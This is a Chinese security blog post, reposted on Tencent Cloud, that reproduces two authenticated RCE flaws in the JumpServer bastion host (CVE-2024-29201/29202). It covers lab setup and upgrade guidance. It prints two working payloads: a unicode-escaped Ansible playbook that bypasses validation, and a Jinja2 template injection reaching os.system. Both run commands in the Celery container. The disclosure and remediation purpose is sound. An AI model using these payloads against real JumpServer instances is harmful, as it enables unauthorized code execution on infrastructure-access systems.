前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2024-29201&29202:JumpServer后台RCE漏洞

CVE-2024-29201&29202:JumpServer后台RCE漏洞

作者头像
Timeline Sec
发布2024-04-11 20:06:37
4220
发布2024-04-11 20:06:37
举报
文章被收录于专栏:Timeline SecTimeline Sec

0x01 简介

JumpServer 是广受欢迎的开源堡垒机,是符合 4A 规范的专业运维安全审计系统。

0x02 漏洞概述

漏洞编号:CVE-2024-29201&CVE-2024-29202

CVE-2024-29201 远程代码执行漏洞,该漏洞可绕过 JumpServer 的 Ansible 中的输入验证机制,在 Celery 容器中执行任意代码

CVE-2024-29202 Jinin2 模板注入漏洞,该漏洞是有 JumpServer 的 Ansible 中存在 Jinja2 模板注入,在 Celery 容器中执行任意代码。

值得注意的是:两个漏洞利用的条件都需要账号。

0x03 影响版本

v3.0.0 <= JumpServer <= v3.10.6

0x04 环境搭建

首先下载官方提供的脚本,下载后编辑 quick_start.sh,将脚本中的 VERSION 修改为存在漏洞版本,如:V3.10.6。如下图所示:

等待服务启动,启动完成后访问 http://ip/

JumpServer 默认账号密码为 admin/admin

接着进入后台添加资产,具体步骤如下图所示:

添加资产后需要测试是否添加成功,点击资产后面的 更多-测试 进行测试。

资产添加完成后添加用户,如下图所示:

最后为用户分配一个资产,如下图所示:

至此环境搭建完成。

0x05 漏洞复现

CVE-2024-29201

登陆创建的普通用户账号,进入 作业中心-模板管理 添加一个 Playbook

点击创建的 Playbook 名称,切换到 工作空间,输入以下内容:

代码语言:javascript
复制
[{
     "name": "RCE playbook",
     "hosts": "all",
     "tasks": [
       {
         "name": "this runs in Celery container",
         "shell": "id > /tmp/pwnd",
         "\u0064elegate_to": "localhost"
} ],
     "vars": {
     "ansible_\u0063onnection": "local"
     }
}]

点击保存。保存完成之后切换到 作业管理 页面,创建一个新的 Playbook 作业

playbook 作业详情如下:

点击保存并运行作业

运行结果如下:

进入 Celery 容器,查看 tmp 目录下是否存在 pwnd 文件

CVE-2024-29202

与 CVE-2024-29201类似,进入 作业中心-模板管理 添加一个 Playbook,在 工作空间 输入的内容为:

代码语言:javascript
复制
- name: |
       {% for x in ().__class__.__base__.__subclasses__() %}
         {% if "warning" in x.__name__ %}
           {{
             x()._module.__builtins__["__import__"]("os").system("id > /tmp/pwnd2")
           }}
         {%endif%}
       {%endfor%}

添加完成后,同样进入作业管理页面创建并运行 Playbook 作业。运行结果如下:

进入 Celery 容器,查看 tmp 目录下是否存在 pwnd2 文件

0x06 修复方式

1、升级到 v3.10.7 版本

2、关闭任务中心,任务中心位于:系统设置 - 功能设置 - 任务中心

参考链接

https://github.com/jumpserver/jumpserver/security/advisories/GHSA-pjpp-cm9x-6rwj

https://github.com/jumpserver/jumpserver/security/advisories/GHSA-2vvr-vmvx-73ch

https://github.com/jumpserver/jumpserver/securit

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-04-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 修复方式
  • 参考链接
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档